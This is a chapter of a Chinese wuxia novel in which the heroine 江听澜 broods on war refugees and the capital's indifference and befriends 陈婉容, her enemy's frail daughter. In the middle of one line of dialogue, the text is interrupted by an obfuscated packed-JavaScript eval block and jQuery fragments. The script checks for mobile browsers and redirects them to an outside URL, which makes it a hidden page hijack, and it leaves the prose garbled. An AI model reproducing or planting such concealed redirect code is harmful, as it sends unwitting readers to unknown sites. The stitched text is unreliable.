江听澜回到听雨楼的时候，天已经黑了。
风子衿正在门口等她，看见她回来，松了一口气。
“师妹，你可算回来了。怎么样？见到陈文渊了吗？”
江听澜点点头。
“见到了。”
“然后呢？”
江听澜没有回答，只走进屋里，在桌边坐下。
青棠端上热茶，她接过来，慢慢喝着。
风子衿看着她，忽然觉得有些不对劲。
“师妹，你怎么了？”
江听澜放下茶杯，抬起头。
“我见到了陈婉容。”
风子衿一愣：“陈文渊的女儿？”
“嗯。”
“她……怎么样？”
江听澜沉默了一会儿，说：
“她很好。”
风子衿不明白她的意思。
江听澜也没有解释。
她只是望着窗外的夜色，心里想着白天在梅林里的对话。
那个人，是无辜的。
她什么都不知道。
她只是一个常年生病、孤独寂寞、想找人陪她说说话的姑娘。
可她是仇人的女儿。
窗外，月光如水。
江听澜坐在窗前，望着那轮月亮，心里忽然有些乱。
她本来是想借陈婉容接近陈文渊的。
可今天见了她，她却不知道自己该怎么办了。
她想起柳如烟说过的话——
“有些人值得你掏心掏肺，有些人不值得。你得学会分清。”
她睁开眼，望着窗外的月亮。
陈婉容，是哪一种？
她不知道。
可她心里隐隐有一个声音在说——
也许，有些人，不需要分得那么清楚。
第二天一早，江听澜走出听雨楼。
她本想再去法华寺看看——
不是为了陈婉容，只是想在那片梅林里坐一坐，理一理心里那些乱糟糟的念头。
可走到街口，她站住了。
长街上，人来人往。
卖糖葫芦的挑着担子吆喝，绸缎庄的伙计在门口抖开一匹新到的苏锦，茶楼里传出说书先生拍惊堂木的声音，几个穿绸衫的公子哥儿骑着马悠悠哉哉地过去，马蹄声哒哒的，踏在青石板上，好听得很。
街角有个卖艺的，光着膀子耍大刀，围了一圈人叫好。旁边卖豆腐脑的摊子上，几个老头一边吃一边下棋，为了一步棋争得面红耳赤。
阳光正好，暖洋洋地照着。
江听澜站在那儿，忽然有些恍惚。
这是京城。
可就在几天前，她还在那条山道上，看着那些逃难的人。
那个挑着担子的老汉，那个嚎啕大哭的娃娃，那些拿着锄头冲上去送死的人——那个老头，死的时候眼睛还朝着村子的方向，那边是他儿媳妇抱着刚出生的娃娃往山里跑。
那个叫石头的姑娘，瘦得跟麻秆似的，攥着木棍的手都在抖，却说“俺要是往后退，鞑子就得先踩着俺，才能踩着俺娘”。
十七个人受伤，五个人死了。
她亲眼看见的。
可这里的人，好像不知道。
他们不知道几百里外正在打仗，不知道鞑子的铁蹄踏破了宣府，不知道有多少人正在往南逃，不知道那些逃不掉的人正拿着锄头扁担去挡弯刀。
他们只知道今天的糖葫芦甜不甜，绸缎的价钱贵不贵，说书先生讲的故事好不好听。
江听澜忽然想起柳如烟说过的一句话——
“京城的人，活在天上。”
当时她不懂。
现在她懂了。
“姑娘，让一让，让一让——”
一个挑着担子的小贩从她身边挤过去，扁担差点撞着她。她往边上让了让，看着那小贩挤进人群，很快就不见了。
她慢慢往前走。
走过绸缎庄，走过茶楼，走过卖艺的摊子。那些声音，那些脸，从她身边流过，像一条河。
她忽然想，这些人里，有多少人知道宣府破了？
有多少人知道鞑子打过来了？
有多少人知道，那些拿着锄头的人，正用命给他们挡着？
也许知道。也许不知道。
也许知道了也不在乎。
京城太远了。远得让人以为，那些事跟自己没关系。
可真的有关系吗？
她不知道。
她只知道，那个老头的儿媳妇，抱着三个月大的娃娃，跪在老头尸体跟前哭。娃娃什么也不懂，还在笑。
她只知道，那个半大的孩子，看着后山的方向死去了。
那些娃娃，跟这些在街上跑来跑去的娃娃，有什么区别？
没有区别。
只是运气不好，生在了那个村子。
她走回听雨楼，苏婉正在柜台后面算账。看见她回来，抬起头笑了笑。
“出去了？”
“嗯。”
江听澜在她对面坐下，沉默了一会儿，忽然问：
“姨母，京城的人……都知道北边在打仗吗？”
苏婉手里的毛笔顿了一下。
她抬起头，看着江听澜，目光里有一种说不清的东西。
“知道。”她说，“怎么能不知道？每天都有战报传回来，朝廷天天在议这事。”
“那他们……”
“他们什么？”苏婉放下笔，“他们该吃吃，该喝喝，该逛窑子的逛窑子，该听戏的听戏。打仗是朝廷的事，跟他们有什么关系？”
江听澜愣住了。
苏婉看着她，叹了口气。
“丫头，你不懂。京城的人，活了几辈子，都是这么活的。天塌下来有高个子顶着，鞑子打进来有皇帝老子操心。皇帝都不操心，他们操什么心？操心也没用。”
她顿了顿，又说：
“再说了，这仗打了也不是一年两年了。年年打，年年输，年年往南跑。跑习惯了，也就不当回事了。”
江听澜沉默着。
苏婉看着她，目光里透着心疼。
“你看见了什么？”
江听澜抬起头。
“我看见……”她顿了顿，“我看见一个老头，拿着锄头挡鞑子。他死了，眼睛还睁着，朝着他儿媳妇跑的方向，还有一个孩子为了保护家里人，也是冲上马前去，被鞑子刺死了。”
苏婉沉默了。
过了好一会儿，她才说：
“那个老头和孩子，跟你有什么关系？”
江听澜摇头。
“没关系。”
“那他们死了，你难过什么？”
江听澜张了张嘴，却说不出话来。
苏婉看着她，忽然笑了。那笑容里，有欣慰，也有心疼。
“好孩子。”她说，“你像你娘。她也是这样的人，看不得别人受苦。可她后来……吃了大亏。”
她伸手，握住江听澜的手。
“丫头，心软不是坏事。可你得记住——你还有仇要报。在你把该杀的人杀了之前，你这条命不是你自己的。”
江听澜点点头。
她知道。
可她忘不掉那个孩子的眼睛。
那天晚上，江听澜又去了法华寺。
不是去找陈婉容。只是想一个人待着。
梅林里很静，月光照在梅花上，白的更白，红的更深。她坐在亭子里，望着那些梅花，什么也不想，就那么坐着。
坐了很久，忽然听见脚步声。
她转过头。
陈婉容站在亭子外面，披着一件厚厚的斗篷，脸色比白天更白了，白得像纸。
“江姑娘。”她轻声说，“这么晚了，你怎么还在这儿？”
江听澜看着她，没有说话。
陈婉容也不在意，慢慢走进亭子，在她对面坐下。
“我睡不着。”她说，“夜里总是睡不着。大夫说，是心疾，不能累着，不能气着，不能……”她笑了笑，“什么都干不了。”
江听澜看着她，忽然问：
“你知道北边在打仗吗？”
陈婉容愣了一下。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334274|199210||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知道。”
“你怎么想？”
陈婉容沉默了一会儿，说：
“我爹说，朝廷正在调兵，很快就会打回去。”
江听澜看着她。
“你信吗？”
陈婉容没有回答。
她低下头，看着自己的手。那双手很白，白得几乎透明，能看见细细的青色的血管。
过了很久，她才说：
“我爹……他有很多事，不跟我说。”
江听澜没说话。
陈婉容抬起头，看着月光下的梅花。
“我只知道，每年冬天，都有很多人从北边逃到京城来。我爹不许我出门，可我隔着墙，能听见他们的哭声。”
她顿了顿，声音更轻了。
“我听见过一个女人哭。她哭了一夜，第二天就没声了。后来我听下人说，她是带着孩子逃出来的，孩子在路上死了。她进了城，抱着孩子的尸体，不知道往哪儿去。”
江听澜看着她。
月光照在陈婉容脸上，那张脸白得几乎没有血色，可她的眼睛很亮，亮得像是有什么东西在里面烧。
“我什么也做不了。”陈婉容说，“我连这个亭子都出不去。可我听着那哭声，就睡不着。”
江听澜沉默了很久。
然后她问：
“你想做什么？”
陈婉容看着她，忽然笑了。那笑容很淡，淡得几乎看不出来。
“我想……我想让那些哭的人，别再哭了。”
江听澜看着她，心里忽然有什么东西动了一下。
她想起那些逃难的人。
想起那个老汉，想起那个娃娃，想起那个叫石头的姑娘。
想起那个半大孩子，死的时候眼睛还朝着村子的方向。
她不知道陈婉容能做些什么。
可她忽然觉得，这个体弱多病、连亭子都出不去的姑娘，跟那些拿着锄头冲上去的人，有点像。
都是想挡在前面的人。
月亮渐渐西沉。
江听澜站起来，准备回去。
陈婉容忽然叫住她：
“江姑娘。”
江听澜回过头。
陈婉容看着她，犹豫了一下，轻声问：
“你……还会来吗？”
江听澜看着她，沉默了一会儿，点了点头。
“会。”
她转身走进梅林，月光把她的影子拉得很长很长。
身后，陈婉容还坐在亭子里，望着那些梅花，一动不动。
回到听雨楼，风子衿正在等她。
“师妹，你去哪儿了？”
“法华寺。”
风子衿愣了一下，随即明白了什么，没有多问。
江听澜在他对面坐下，忽然说：
“风师兄，你说……这京城，跟那个村子，是一个天下吗？”
风子衿沉默了。
过了很久，他才说：
“是一个天下。只是有的人在天上，有的人在地下。”
江听澜抬起头，看着窗外的月亮。
那个老头在天上，还是在地下？
她不知道。
她只知道，那个老头的儿媳妇，抱着三个月大的娃娃，还在这天下的某个地方，躲着鞑子，躲着刀枪，躲着不知道从哪儿来的灾祸。
而那个娃娃，跟京城街上跑来跑去的娃娃，没有区别。
只是运气不好。
她握紧剑柄。
那把剑，是师父留给她的。
师父教她剑法的时候，说过一句话——
“剑是用来挡在别人前面的。”
那时候她不懂。
现在她懂了。
挡在谁前面？
挡在那个老头前面。挡在那个娃娃前面。挡在那个叫石头的姑娘前面。挡在那些拿着锄头冲上去送死的人前面。
也挡在陈婉容前面。
那个连亭子都出不去的姑娘，想让人别再哭了。
那就帮她挡一挡。
挡到那些人不用再哭的那一天。